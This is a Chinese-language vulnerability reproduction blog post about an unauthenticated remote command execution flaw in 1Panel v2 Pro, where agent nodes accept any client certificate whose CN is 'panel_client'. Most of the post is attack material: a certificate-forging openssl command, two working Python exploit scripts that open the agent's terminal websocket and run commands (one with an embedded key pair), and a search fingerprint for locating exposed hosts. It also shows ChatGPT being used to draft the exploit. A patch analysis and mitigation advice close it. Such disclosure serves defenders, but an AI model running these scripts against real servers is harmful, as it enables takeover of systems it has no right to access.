前言
日常看漏洞资讯,看到这个漏洞。

1Panel
以前接触过,是飞致云的产品。看漏洞描述是未授权的命令执行,那确实是一个严重漏洞。
漏洞介绍
参考链接 Github Advisorie 写的十分清楚了,漏洞原因与审计过程,甚至POC都给了。

这里简单总结一下:
漏洞根本原因是由于 Core
与 Agent
节点通信的 HTTPS
证书校验不严,只验证了证书CN
字段为panel_client
,未验证证书签发者,导致攻击者可伪造证书连接Agent
节点,从而绕过认证访问高权限接口,最终造成远程命令执行,获取系统权限。
漏洞复现
使用腾讯云实验室快速搭建环境,官方的一键安装脚本quick_start.sh
,需要修改为有漏洞的版本。

随即执行脚本,安装过程中提示安装docker
,可不安装省时间。

环境搭建好之后,打开发现节点管理功能需要专业版才有,咬牙买了一个月的专业版。

导入许可证就可以看到节点管理界面了。
需要另外一台服务器充当节点,添加节点。(直接用本服务器应该也没问题?)

填好节点信息之后就是等安装Agent
了,等节点显示正常
状态就可以进行测试了。
根据 Github Advisorie 给的信息,整理一下丢给ChatGPT
,让它写一个POC
出来。
Prompt
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
| 根据下面的漏洞描述,生成Python poc代码。```Description
项目地址:项目地址 1Panel
官网:https://www.1panel.cn/
时间:2025 07 26
版本:1panel V2.0.5
漏洞简述
首先引入1panel v2 Core端与Agent端的概念,新版本发布后,1panel增加了节点管理的功能,可以通过添加节点来控制其他的主机。
而Core端与Agent端通讯所使用的https协议,在证书校验中未完全校验证书的真实性导致接口未授权。1panel中由于存在大量命令执行或高权限的接口,导致RCE。
代码审计过程
首先我们进入到Agent HTTP路由文件agent/init/router/router.go
发现Routers函数中引用Certificate函数进行了全局校验agent/middleware/certificate.go
发现Certificate函数判断了c.Request.TLS.HandshakeComplete是否进行了证书通讯
由于c.Request.TLS.HandshakeComplete的真假判断是通过agent/server/server.go代码Start函数中的tls.RequireAnyClientCert来判断的
注:此处由于使用tls.RequireAnyClientCert而不是tls.RequireAndVerifyClientCert,RequireAnyClientCert只要求客户端提供证书,不验证证书的签发CA,所以任何自签名证书都能通过TLS握手。
后续进入Certificate函数中的其他判断,只验证了证书CN字段为panel_client,未验证证书签发者。最后发现WebSocket连接可以绕过Proxy-ID验证。
项目中存在大量的websocket接口。
Process WebSocket 接口(根据上述问题可获取所有的进程等敏感信息)
路由地址: /process/ws
请求格式如下
{
"type": "ps", // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
"pid": 123, // 可选,指定进程ID进行筛选
"name": "process_name", // 可选,根据进程名筛选
"username": "user" // 可选,根据用户名筛选
}
Terminal SSH WebSocket 接口(根据上述问题可执行任意命令)
路由地址: /hosts/terminal
请求格式如下
{
"type": "cmd",
"data": "d2hvYW1pCg==" // "whoami" 的base64编码,记住不要忘记回车。
}
Container Terminal WebSocket 接口(容器执行命令接口)
路由地址: /containers/terminal
File Download Process WebSocket 接口(自动推送下载进度信息)
路由地址: /files/wget/process
攻击过程
首先生成伪造证书
openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
然后使用证书请求验证,如果成功连接websocket接口则存在漏洞
```
|

但由于发现者文字描述漏了/api/v2
的前缀,这里生成的POC
跑不通,修正之后如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| import ssl
import json
import websocket
import base64
# ============================
# Configurable Parameters
# ============================
TARGET = "https://AGENT_IP_OR_DOMAIN:443" # 改成目标地址
CRT_FILE = "panel_client.crt"
KEY_FILE = "panel_client.key"
# WebSocket target endpoints
PROCESS_WS_URL = TARGET.replace("https", "wss") + "/api/v2/process/ws"
TERMINAL_WS_URL = TARGET.replace("https", "wss") + "/api/v2/hosts/terminal"
# ============================
# Helper Functions
# ============================
def connect_ws(url, payload):
sslopt = {
"certfile": CRT_FILE,
"keyfile": KEY_FILE,
"cert_reqs": ssl.CERT_NONE,
}
print(f"[+] Connecting to {url}")
ws = websocket.create_connection(url, sslopt=sslopt)
print("[+] WebSocket connected")
print(f"[+] Sending payload: {payload}")
ws.send(json.dumps(payload))
while True:
try:
result = ws.recv()
print("[+] Received:", result)
print(base64.b64decode(json.loads(result)['data'].encode()).decode())
except KeyboardInterrupt:
break
except Exception as e:
print("[!] Error:", e)
break
ws.close()
cmd = "whoami\n"
terminal_payload = {
"type": "cmd",
"data": base64.b64encode(cmd.encode()).decode()
}
connect_ws(TERMINAL_WS_URL, terminal_payload)
|
生成证书:
1
| openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
|
测试POC
:


优化了一下POC
,直接减去证书生成的步骤,内置到POC
里面:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
| import ssl
import websocket
import json
import tempfile
# 你的证书和私钥内容(直接贴内容字符串)
CERT_PEM = """-----BEGIN CERTIFICATE-----
MIICqjCCAZICCQDDd4Tgw3unbTANBgkqhkiG9w0BAQsFADAXMRUwEwYDVQQDDAxw
YW5lbF9jbGllbnQwHhcNMjUwODA0MDgzMTIzWhcNMjYwODA0MDgzMTIzWjAXMRUw
EwYDVQQDDAxwYW5lbF9jbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC0YnBiwFjb1UJCIviRuPJDhm+9vAbJ69Sk9f2IRn3iEMLg66a8U9f370ec
V/BHyL/Wj+jqwks5p9L6rWPIaZoxynzoS4nj+hMHe2TKTIVgSjSwkEkTNUSzIhfM
zxI6RzNI5B2bqO4WBD3+YQWCQffdBsJL7Qpz/qhps+/zIEOLlmp/dqh+Z9YOT91b
PHThMeWLAcdZ439/yqIglNhGh0r4mRZpiSHoBQMSqSSR+YGbF1jsC5TKgLOwwUs5
NrlmZ6nCGq8O5nAwFuCFebSMc9Uj4MHWHUbIuL0Qu86nJkDqsukEiU6Ao6wTVzTN
Psue0X8Toy1UefjO1MHT+3USBkAnAgMBAAEwDQYJKoZIhvcNAQELBQADggEBADea
/vNSMT0iFmke+woQIiocDwDp/X02jZzKlleLDazqBrE+SQx5XhgvCj8qvmL4Vtt0
H75zljbFxBQM8PWq/4WKFbvbN3jsjfSAj80ko7rbJ63cbJYfCOxyvKJA0R8JTL1j
Heaws1Uh5c5uCbOrp6Yej5iTYUuRLwGxQMlKfzKI/dUDVrjAM1twQl8uK2IYgOsA
6mnt0Mfco/1S+Javkh2d029nBMdMd8jAs+85z8v8+BX1m5OomI12aJBIiaLAKQFx
uqQhWtStAEHZDVJbLkXBNTUvzeF5zqJ30weRA++9mKDBs+WJh7Vq58V5lgksWX0w
kBJIAEpeC+njBGXXltA=
-----END CERTIFICATE-----"""
KEY_PEM = """-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC0YnBiwFjb1UJC
IviRuPJDhm+9vAbJ69Sk9f2IRn3iEMLg66a8U9f370ecV/BHyL/Wj+jqwks5p9L6
rWPIaZoxynzoS4nj+hMHe2TKTIVgSjSwkEkTNUSzIhfMzxI6RzNI5B2bqO4WBD3+
YQWCQffdBsJL7Qpz/qhps+/zIEOLlmp/dqh+Z9YOT91bPHThMeWLAcdZ439/yqIg
lNhGh0r4mRZpiSHoBQMSqSSR+YGbF1jsC5TKgLOwwUs5NrlmZ6nCGq8O5nAwFuCF
ebSMc9Uj4MHWHUbIuL0Qu86nJkDqsukEiU6Ao6wTVzTNPsue0X8Toy1UefjO1MHT
+3USBkAnAgMBAAECggEAJKEIqUTdxmYbukpXp1+i8ktOTXzs8/vLhmPdQ9rsnQdC
S2IOzZdI97PDGuBQjoMZUXyPk3w4wlBt6zFiXcPz58BydMlCCuUxEAfig6HeQ5tN
77yc2iWq+aUmqBQ0Y1kp9Nc9m+pFznq2C/2vnK/AoUVKFxjfUoaXtD8xrnESxjlB
yOy4Vv+EMXkCOyp72PE+09AHPsqHbHx4/0Io1yzje1ZKbVPHz+YhVxrN0+VsJAgF
CgqBvXlJANo9erfzd1Po3vSFFogZaBRQWKdvO0/IojhcnPo5nF4v9J3LSXydHciO
xkPlHw+iDBBtvdhAKoIeVH2iJemcKHX47REGdlfwwQKBgQDXNk25vfc4eUwuxTKc
TVcLDR03tR2w9A2VuBPFbXiR8N+rBUMDhrvGHNK7/y7I0UHjB3fsqZyPeU4BBf5C
rbsCIJ8vzMlK3bC+KTzpmaGdTt3z4BtWhFIZW6ypz8tgo9YOuWpnJSLjLoXw6yGK
A9YDxVgMWHF8rYtya7SyTTd/PwKBgQDWkl1PBE8o1e8Q64MOJKWIwSpyRd0n5jqs
Tr5SJh/Upka8WLCDaqLbSrTXjgkf3kxmFErK/EiV5ub42XlJkV3vXdHoJ3e2cF/4
Z/AArlulIlKexGZNtPojnWcsFoeb01WSEEhQBjtvVZKsVRxLUxIWdMRsF70Jq9NT
Mjj/G1NtGQKBgGjrEm1xDSs9B0Tt4kSM99htZkcYRwdTk6Pf/9OKEPOlKIWppQf9
EWH9/0ajm11Plv1lULPR5H+Vtc+N6mz7YWYiHTkibyfOeDHczNNdkIquPkp8gRdm
nte59605nn7YoKzA+/yZAC8dKTNQjiNIx3dDKC+slncf7BG2LHuYZWvlAoGABptn
KCG31kgQHnNCC9NxDW71QaOJFctvDxM1pQ3reP7Nusr4VHOaJCp+uwxyl3qe253Q
V8PA8Gy1u//mTi+dttsqtX1RoFqBegKpTzwPMlyGMsFVbRsfgK0+GgtvjYrKXb8G
mwA2IE2AQLI2NtOOAQcDbVilx4B092DahHBw9zECgYBpreX1J3BkCDb7HHYItahK
Wgn4ZSDgewps31IkrdU6Ns35nc6ITMuiQ1klsUXWkvno8oUHsbtK0th+LIpYRR0v
PI+8Npci+kfgY9jbr+WrAApPk6wUHgxJvWLOuvz1ozLNsgb0O8J9e+pneO+zhcw6
rOX2g1ftBZC9rgChkuYF0Q==
-----END PRIVATE KEY-----"""
with tempfile.NamedTemporaryFile(delete=False, mode="w", suffix=".crt") as cert_temp, \
tempfile.NamedTemporaryFile(delete=False, mode="w", suffix=".key") as key_temp:
cert_temp.write(CERT_PEM)
cert_temp.flush()
key_temp.write(KEY_PEM)
key_temp.flush()
# 创建 SSL 上下文并加载证书
# context = ssl.create_default_context()
# context.check_hostname = False
# context.verify_mode = ssl.CERT_NONE
# context.load_cert_chain(certfile=cert_temp.name, keyfile=key_temp.name)
# 使用 websocket-client 连接
ws = websocket.create_connection(
"wss://host:port/api/v2/hosts/terminal", # 替换目标
sslopt = {
"certfile": cert_temp.name,
"keyfile": key_temp.name,
"cert_reqs": ssl.CERT_NONE,
}
)
print("[+] WebSocket connected")
# 示例 payload:whoami
import base64
cmd = "whoami\n"
payload = {
"type": "cmd",
"data": base64.b64encode(cmd.encode()).decode()
}
ws.send(json.dumps(payload))
while True:
try:
result = ws.recv()
print("[+] Received:", result)
print(base64.b64decode(json.loads(result)['data'].encode()).decode())
except KeyboardInterrupt:
break
except Exception as e:
print("[!] Error:", e)
break
ws.close()
|
指纹测绘
根据节点的证书指纹信息总结了一下,可以用下面的特征进行搜索。
1
| cert.subject="FIT2CLOUD" && protocol="tls"
|
由于漏洞只影响专业版用户,且是v2版本,故影响量并没有想象中那么大。

漏洞修复
根据参考链接中的pull,把差异代码扣给ChatGPT
,下面是它给出的分析。
加强了对客户端 TLS 证书的验证,从简单地检查 Common Name(CN)为 "panel_client"
,扩展为更通用且可插拔的证书验证逻辑,并在连接不合法时主动关闭连接。
变更项目 | 修改内容 | 安全增强效果 |
---|
middleware.Certificate() | 从硬编码 CN 校验 → 通用校验函数 | 提高灵活性,增强安全控制 |
CloseDirectly() | 新增强制断开非法连接函数 | 避免响应输出,阻断通信 |
TLSConfig.ClientAuth | 要求并验证客户端证书 | 防止伪造客户端接入 |
加载 RootCrt | 设置可信 CA 根证书 | 确保客户端证书是可信签发的 |
详细分析见链接。
总体来说,增加了证书的签发机构验证,保证是可信证书。
建议受影响的用户安装最新的节点来进行修复,也可以临时用防火墙/IPtable
等只允许可信IP访问。
总结
这个漏洞还是挺有意思的,依赖证书进行身份验证的场景还是见的比较少。